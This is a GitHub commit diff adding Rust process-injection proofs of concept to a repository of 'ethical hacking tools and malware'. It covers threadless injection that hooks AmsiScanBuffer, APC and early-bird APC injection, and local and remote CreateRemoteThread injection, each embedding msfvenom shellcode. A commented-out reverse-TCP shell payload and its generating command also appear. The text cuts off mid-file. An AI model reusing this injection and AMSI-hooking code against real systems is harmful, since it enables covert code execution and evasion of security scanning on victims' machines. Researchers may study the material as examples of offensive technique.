This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Add files via upload
Abdul Wahab Junaid52810b7a6423
diff --git a/Rust for Hacking/Process Injection/ThreadlessInject.rs b/Rust for Hacking/Process Injection/ThreadlessInject.rsnew file mode 100644index 0000000..7baf7a5--- /dev/null+++ b/Rust for Hacking/Process Injection/ThreadlessInject.rs@@ -0,0 +1,208 @@++/*+ Threatless Injection in Rust+ Original credit Goes to : https://github.com/CCob/ThreadlessInject+ @5mukx+*/++use sysinfo::System;+use winapi::ctypes::c_void;+use winapi::shared::minwindef::{DWORD, LPVOID};+use winapi::um::errhandlingapi::GetLastError;+use winapi::um::handleapi::CloseHandle;+use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA};+use winapi::um::memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory};+use winapi::um::processthreadsapi::OpenProcess;++const SHELLCODE: [u8; 106] = [+ 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,+ 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,+ 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,+ 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,+ 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,+ 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,+ 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,+ 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,+ 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3+];++static mut SHELLCODE_LOADER: [u8; 55] = [+ 0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,+ 0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC,+ 0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,+ 0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0,+];++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[-] {}", format!($msg, $($arg), *));+ std::process::exit(0);+ }+}++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[+] {}", format!($msg, $($arg), *));+ }+}++fn main(){+ let args: Vec<String> = std::env::args().collect();+ let process_name = &args[1];+ let pid = find_process(process_name)+ .expect("[!] Failed to find the PID of the target process");++ unsafe{+ let h_module = LoadLibraryA("amsi.dll\0".as_ptr() as *const i8);+ if h_module.is_null(){+ error!("LoadLibrary Failed with status {}", GetLastError());+ }++ let address = GetProcAddress(+ h_module,+ "AmsiScanBuffer\0".as_ptr() as *const i8+ );++ let func_addr = address as *mut c_void;+ let h_process = OpenProcess(+ 0x000F0000 | 0x00100000 | 0xFFFF,+ 0,+ pid+ );++ if h_process.is_null(){+ error!("OpenProcess Failed with status {}", GetLastError());+ }++ okey!("AmsiScanBuffer Address: {:?}", func_addr);++ okey!("Patching the {}", "trampoline");++ let orgin_bytes = *(func_addr as *const u64);++ SHELLCODE_LOADER[18..26].copy_from_slice(&orgin_bytes.to_ne_bytes());++ // need to write an function for an memory hole !+ let addr_role = find_memory_role(+ func_addr as usize,+ h_process,+ ).expect("Memory Role Failed with status");++ write_shellcode(h_process, addr_role);++ install_trampoline(+ h_process,+ addr_role,+ func_addr,+ );++ CloseHandle(h_process);+ }++}++fn find_process(process_name: &str) -> Result<u32, ()>{+ let mut system = System::new_all();+ system.refresh_all();++ for(pid, proc) in system.processes(){+ if proc.name() == process_name{+ return Ok(pid.as_u32());+ }+ }++ Err(())+}++fn find_memory_role(func_address: usize, h_process: *mut c_void) -> Result<*mut c_void, String> {+ let mut address = (func_address & 0xFFFFFFFFFFF70000) - 0x70000000;+ while address < func_address + 0x70000000 {+ let tmp_address = unsafe {+ VirtualAllocEx(+ h_process,+ address as *mut c_void,+ (SHELLCODE.len() + SHELLCODE_LOADER.len()) as usize,+ 0x1000 | 0x2000,+ 0x04,+ )+ };++ if !tmp_address.is_null() {+ okey!("Allocated at: {:?}", tmp_address);+ return Ok(tmp_address);+ }++ address += 0x10000;+ }++ Err("[!] Memory Role Not Found".to_string())+}++fn install_trampoline(h_process: *mut c_void, address: *mut c_void, function_address: *mut c_void) {+ let mut trampoline = [0xE8, 0x00, 0x00, 0x00, 0x00];+ let rva = (address as usize).wrapping_sub(function_address as usize + trampoline.len());+ let mut old_protect: DWORD = 0;+ let mut number_bytes_written: usize = 0;++ let rva_bytes = rva.to_ne_bytes();+ trampoline[1..].copy_from_slice(&rva_bytes[..4]);++ unsafe {+ VirtualProtectEx(+ h_process,+ function_address,+ trampoline.len(),+ 0x04,+ &mut old_protect,+ );++ WriteProcessMemory(+ h_process,+ function_address,+ trampoline.as_ptr() as LPVOID,+ trampoline.len(),+ &mut number_bytes_written,+ );++ VirtualProtectEx(+ h_process,+ function_address,+ trampoline.len(),+ 0x40,+ &mut old_protect,+ );+ }+}+++fn write_shellcode(h_process: *mut c_void, address: *mut c_void) {+ unsafe {+ let mut number_of_write: usize = 0;+ WriteProcessMemory(+ h_process,+ address,+ SHELLCODE_LOADER.as_ptr() as LPVOID,+ SHELLCODE_LOADER.len(),+ &mut number_of_write,+ );++ let shellcode_address = address.add(SHELLCODE_LOADER.len());+ WriteProcessMemory(+ h_process,+ shellcode_address,+ SHELLCODE.as_ptr() as LPVOID,+ SHELLCODE.len(),+ &mut number_of_write,+ );++ let mut old_protect: DWORD = 0;+ VirtualProtectEx(+ h_process,+ address,+ SHELLCODE.len(),+ 0x40,+ &mut old_protect,+ );+ }+}+diff --git a/Rust for Hacking/Process Injection/apc_queue_inject_new.rs b/Rust for Hacking/Process Injection/apc_queue_inject_new.rsnew file mode 100644index 0000000..e67d184--- /dev/null+++ b/Rust for Hacking/Process Injection/apc_queue_inject_new.rs@@ -0,0 +1,121 @@+/*+ New Update APC Injection POC+ For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ @5mukx+*/+use std::ptr::{copy_nonoverlapping, null_mut};++use winapi::{+ ctypes::c_void,+ um::{errhandlingapi::GetLastError,+ memoryapi::{VirtualAlloc, VirtualProtect},+ processthreadsapi::{CreateThread, QueueUserAPC, ResumeThread},+ synchapi::{SleepEx, WaitForSingleObject}+ }+};++// writing function call+unsafe extern "system" fn function(_content: *mut c_void) -> u32{+ SleepEx(0xFFFFFFFF, 1);+ 0+}++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct THREAD_CREATION_FLAGS(pub u32);++macro_rules! okey {+ ($msg:expr, $($arg:expr) ,*) => {+ println!("\\____[+] {}", format!($msg, $($arg), *));+ }+}+++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[-] {}", format!($msg, $($arg), *));+ std::process::exit(0);+ }+}++fn main(){++ // msfvenom -p windows/x64/exec CMD=notepad.exe -f rust+ let buf: [u8; 279] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74,+ 0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];++ unsafe{+ let h_thread = CreateThread(+ null_mut(),+ 0,+ Some(function),+ null_mut(),+ THREAD_CREATION_FLAGS as u32, // or just 0 is enough !+ // 0,+ null_mut()+ );++ if h_thread.is_null(){+ error!("Unable to create thread: {:?}",GetLastError());+ }++ okey!("Thread Address: {:?}",h_thread);++ let address = VirtualAlloc(+ null_mut(),+ buf.len(),+ 0x1000 | 0x2000,+ 0x04+ );++ okey!("Allocated Address: {:?}",address);++ copy_nonoverlapping(+ buf.as_ptr(),+ address as *mut u8,+ buf.len()+ );++ let mut protect = 0;++ let virtual_protect = VirtualProtect(+ address,+ buf.len(),+ 0x40,+ &mut protect,+ );++ if virtual_protect == 0 {+ error!("VirtualProtectEx failed : {:#?}",GetLastError());+ }++ QueueUserAPC(+ std::mem::transmute(address),+ h_thread,+ 0,+ );++ ResumeThread(h_thread);+ WaitForSingleObject(h_thread, 0xFFFFFFFF);++ }+}diff --git a/Rust for Hacking/Process Injection/early_bird_apc_injection.rs b/Rust for Hacking/Process Injection/early_bird_apc_injection.rsnew file mode 100644index 0000000..8d9e7cc--- /dev/null+++ b/Rust for Hacking/Process Injection/early_bird_apc_injection.rs@@ -0,0 +1,191 @@++/*+Early_Bird_APC_Injection+For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+@5mukx+*/++use std::{ffi::CString, ptr::null_mut};+use winapi::ctypes::c_void;+use winapi::um::debugapi::DebugActiveProcessStop;+use winapi::um::handleapi::CloseHandle;+use winapi::um::memoryapi::{VirtualAllocEx, VirtualFreeEx, VirtualProtectEx, WriteProcessMemory};+use winapi::um::winnt::{MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE};+use winapi::um::{+ errhandlingapi::GetLastError,+ processthreadsapi::{CreateProcessA, QueueUserAPC ,CreateRemoteThread, PROCESS_INFORMATION, STARTUPINFOA},+ synchapi::SleepEx, winbase::INFINITE+};++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[+] {}", format!($msg, $($arg),*));+ }+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[-] {}", format!($msg, $($arg), *));+ std::process::exit(0);+ }+}++unsafe extern "system" fn function(_content: *mut c_void) -> u32{+ SleepEx(INFINITE, 1);+ 0+}+fn main(){+ println!("| Early_Bird_APC_Injection");+ // println!("|--------------------------");+ // notepad msfvenom -> msfvenom -p windows/x64/exec CMD=notepad.exe -f rust+ let buf: [u8; 279] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74,+ 0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];++ unsafe{+ // startup info ...+ let mut si: STARTUPINFOA = std::mem::zeroed();+ si.cb = std::mem::size_of::<STARTUPINFOA> as u32;++ // process info ...+ let mut pi: PROCESS_INFORMATION = std::mem::zeroed();++ let file_path = CString::new("C:\\Windows\\System32\\calc.exe").expect("Unable to convert into null terminated ansi string");++ let process = CreateProcessA(+ null_mut(),+ file_path.as_ptr() as *mut i8,+ null_mut(),+ null_mut(),+ 0,+ 0x00000001,+ null_mut(),+ null_mut(),+ &mut si,+ &mut pi+ );++ if process == 0 {+ error!("Unable to create Process : {}",GetLastError());+ }++ okey!("Process Addr: {:#?}",process);++ let hprocess = pi.hProcess;+ okey!("HProcess: {:#?}",hprocess);++ let hthread = CreateRemoteThread(+ hprocess,+ null_mut(), 0,+ Some(function),+ null_mut(),+ 0,+ null_mut(),+ );++ if hthread.is_null(){+ error!("Unable to create thread at VAS : {}", GetLastError());+ }++ okey!("HThread: {:#?}",hthread);++ let address = VirtualAllocEx(+ hprocess,+ null_mut(),+ buf.len(),+ MEM_COMMIT | MEM_RESERVE,+ PAGE_READWRITE,+ );++ if address.is_null(){+ error!("Unable to allocate memory to VAS: {}", GetLastError());+ }++ okey!("VirtualAddress: {:#?}",address);++ let process_mem = WriteProcessMemory(+ hprocess,+ address,+ buf.as_ptr() as _,+ buf.len(),+ null_mut(),+ );++ okey!("Process_mem: {:#?}",process_mem);++ let mut oldprotect:u32 = 0;++ let virtual_protect = VirtualProtectEx(+ hprocess,+ address,+ buf.len(),+ PAGE_EXECUTE_READWRITE,+ &mut oldprotect,+ );++ if virtual_protect == 0{+ error!("VirtualProtectEx failed : {:#?}",virtual_protect);+ }++ // Creating an remote thread++ // let thread_start_routine = buf as LPTHREAD_START_ROUTINE;+ // let thread_start: LPTHREAD_START_ROUTINE = Some(thread_start_routine);++ // let remote_thread = CreateRemoteThread(+ // hprocess,+ // null_mut(),+ // _thread_start,+ // thread_start,+ // address,+ // 0,+ // null_mut()+ // );++ // if remote_thread.is_null(){+ // error!("Unable to create Remote Thread: {:#?}",GetLastError());+ // }++ let queue = QueueUserAPC(+ std::mem::transmute(address),+ hthread,+ 0+ );++ okey!("Queue Addr: {:#?}",queue);+++ // if ResumeThread(remote_thread) == 0{+ // error!("ResumeThread Failed: {:#?}",remote_thread);+ // }++ DebugActiveProcessStop(pi.dwProcessId);+ // CloseHandle(remote_thread);+ CloseHandle(hprocess);+ CloseHandle(hthread);++ VirtualFreeEx(hprocess,+ address,+ 0,+ MEM_RELEASE+ );+ }+}diff --git a/Rust for Hacking/Process Injection/inject_on_localprocess.rs b/Rust for Hacking/Process Injection/inject_on_localprocess.rsnew file mode 100644index 0000000..99353c5--- /dev/null+++ b/Rust for Hacking/Process Injection/inject_on_localprocess.rs@@ -0,0 +1,137 @@+/*+ CreateRemoteThread ShellCode Injection : LocalProcess+ For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ @5mukx+*/++use std::ptr::null_mut;++use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};++macro_rules! okey{+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[+] {}", format!($msg, $($arg),*));+ }+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[-] {}", format!($msg, $($arg), *));+ println!("Exiting ...");+ std::process::exit(0);+ }+}++fn main(){+ // MSFPAYLOAD !+ //msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f rust -b \x00\x0a\x0d+ // let buf: [u8; 503] = [0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,+ // 0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,+ // 0x90,0x2a,0x5b,0x02,0xfe,0x59,0xda,0xcc,0x48,0x31,0x58,0x27,+ // 0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x6c,0x62,0xd8,0xe6,+ // 0x0e,0xb1,0x1a,0xcc,0x90,0x2a,0x1a,0x53,0xbf,0x09,0x88,0x9d,+ // 0xc6,0x62,0x6a,0xd0,0x9b,0x11,0x51,0x9e,0xf0,0x62,0xd0,0x50,+ // 0xe6,0x11,0x51,0x9e,0xb0,0x62,0xd0,0x70,0xae,0x11,0xd5,0x7b,+ // 0xda,0x60,0x16,0x33,0x37,0x11,0xeb,0x0c,0x3c,0x16,0x3a,0x7e,+ // 0xfc,0x75,0xfa,0x8d,0x51,0xe3,0x56,0x43,0xff,0x98,0x38,0x21,+ // 0xc2,0x6b,0x0a,0x4a,0x75,0x0b,0xfa,0x47,0xd2,0x16,0x13,0x03,+ // 0x2e,0xd2,0x5a,0x44,0x90,0x2a,0x5b,0x4a,0x7b,0x99,0xae,0xab,+ // 0xd8,0x2b,0x8b,0x52,0x75,0x11,0xc2,0x88,0x1b,0x6a,0x7b,0x4b,+ // 0xff,0x89,0x39,0x9a,0xd8,0xd5,0x92,0x43,0x75,0x6d,0x52,0x84,+ // 0x91,0xfc,0x16,0x33,0x37,0x11,0xeb,0x0c,0x3c,0x6b,0x9a,0xcb,+ // 0xf3,0x18,0xdb,0x0d,0xa8,0xca,0x2e,0xf3,0xb2,0x5a,0x96,0xe8,+ // 0x98,0x6f,0x62,0xd3,0x8b,0x81,0x82,0x88,0x1b,0x6a,0x7f,0x4b,+ // 0xff,0x89,0xbc,0x8d,0x1b,0x26,0x13,0x46,0x75,0x19,0xc6,0x85,+ // 0x91,0xfa,0x1a,0x89,0xfa,0xd1,0x92,0xcd,0x40,0x6b,0x03,0x43,+ // 0xa6,0x07,0x83,0x96,0xd1,0x72,0x1a,0x5b,0xbf,0x03,0x92,0x4f,+ // 0x7c,0x0a,0x1a,0x50,0x01,0xb9,0x82,0x8d,0xc9,0x70,0x13,0x89,+ // 0xec,0xb0,0x8d,0x33,0x6f,0xd5,0x06,0x4b,0x40,0x2e,0xa9,0xfe,+ // 0xcf,0x19,0x69,0x02,0xfe,0x18,0x8c,0x85,0x19,0xcc,0x13,0x83,+ // 0x12,0xf9,0xdb,0xcc,0x90,0x63,0xd2,0xe7,0xb7,0xe5,0xd8,0xcc,+ // 0x91,0x91,0x9b,0xaa,0x98,0x43,0x9b,0x98,0xd9,0xa3,0xbf,0x4e,+ // 0x77,0xa8,0x9b,0x76,0xdc,0x5d,0x7d,0x05,0x01,0x8c,0x96,0x45,+ // 0x7a,0x42,0x5a,0x03,0xfe,0x59,0x83,0x8d,0x2a,0x03,0xdb,0x69,+ // 0xfe,0xa6,0x0f,0x9c,0xc0,0x67,0x6a,0xcb,0xb3,0x68,0x1a,0x84,+ // 0x6f,0xea,0x13,0x8b,0x3c,0x11,0x25,0x0c,0xd8,0xa3,0x9a,0x43,+ // 0x44,0xb3,0xd5,0x13,0x70,0xd5,0x8e,0x4a,0x77,0x9e,0xb0,0xdc,+ // 0xd1,0x72,0x17,0x8b,0x1c,0x11,0x53,0x35,0xd1,0x90,0xc2,0xa7,+ // 0x8a,0x38,0x25,0x19,0xd8,0xab,0x9f,0x42,0xfc,0x59,0xda,0x85,+ // 0x28,0x49,0x36,0x66,0xfe,0x59,0xda,0xcc,0x90,0x6b,0x0b,0x43,+ // 0xae,0x11,0x53,0x2e,0xc7,0x7d,0x0c,0x4f,0xcf,0x99,0xb0,0xc1,+ // 0xc9,0x6b,0x0b,0xe0,0x02,0x3f,0x1d,0x88,0xb4,0x7e,0x5a,0x03,+ // 0xb6,0xd4,0x9e,0xe8,0x88,0xec,0x5b,0x6a,0xb6,0xd0,0x3c,0x9a,+ // 0xc0,0x6b,0x0b,0x43,0xae,0x18,0x8a,0x85,0x6f,0xea,0x1a,0x52,+ // 0xb7,0xa6,0x12,0x81,0x19,0xeb,0x17,0x8b,0x3f,0x18,0x60,0xb5,+ // 0x5c,0x15,0xdd,0xfd,0x2b,0x11,0xeb,0x1e,0xd8,0xd5,0x91,0x89,+ // 0xf0,0x18,0x60,0xc4,0x17,0x37,0x3b,0xfd,0x2b,0xe2,0x2a,0x79,+ // 0x32,0x7c,0x1a,0xb8,0x58,0xcc,0x67,0x51,0x6f,0xff,0x13,0x81,+ // 0x3a,0x71,0xe6,0xca,0xec,0x20,0xdb,0xf9,0x1e,0x2c,0xdf,0x77,+ // 0xd7,0x39,0x29,0x6d,0x94,0x59,0x83,0x8d,0x19,0xf0,0xa4,0xd7,+ // 0xfe,0x59,0xda,0xcc];++ // Testing msf calc payload !+ let buf: [u8; 276] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];+++ unsafe{+ let exec = VirtualAlloc(+ null_mut(),+ buf.len(),+ 0x1000,+ 0x04,+ );++ if exec.is_null(){+ error!("VirtualAlloc Error: {:?}",exec);+ }++ println!("| Executing SC in LocalProcess");+ okey!("VirtualAlloc : {:?}",exec);+ std::ptr::copy_nonoverlapping(buf.as_ptr(), exec as *mut u8, buf.len());++ // we are changing mem protection to allow execution++ let mut old_protect:u32 = 0;+ let protect_addr = VirtualProtect(exec,+ buf.len(),+ 0x40, // PAGE_EXECUTIVE_READWRITE+ &mut old_protect+ );++ okey!("VirtualProtect : {:?}",protect_addr);++ // Here i am converting mem addr to an function pointer and calling it+ let func: fn() -> () = std::mem::transmute(exec);++ okey!("Executing Payload {}","--->");+ func();++ // To revent the mem protection you can do by this way !+ // VirtualProtect(exec, buf.len(), old_protect, &mut old_protect);++ // Free up allocated mem++ // VirtualFree(exec, 0, MEM_RELEASE);++ }+}diff --git a/Rust for Hacking/Process Injection/inject_on_remoteprocess.rs b/Rust for Hacking/Process Injection/inject_on_remoteprocess.rsnew file mode 100644index 0000000..30099cf--- /dev/null+++ b/Rust for Hacking/Process Injection/inject_on_remoteprocess.rs@@ -0,0 +1,114 @@+/*+CreateRemoteThread Shellcode Injection : Exec Shellcode in Remote Process+For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+@5mukx+*/+use std::ptr::null_mut;++use winapi::{shared::minwindef::LPVOID, um::{errhandlingapi::GetLastError, handleapi::CloseHandle, memoryapi::{VirtualAllocEx, WriteProcessMemory}, processthreadsapi::{CreateRemoteThread, OpenProcess}, winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}}};++macro_rules! okey{+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[+] {}", 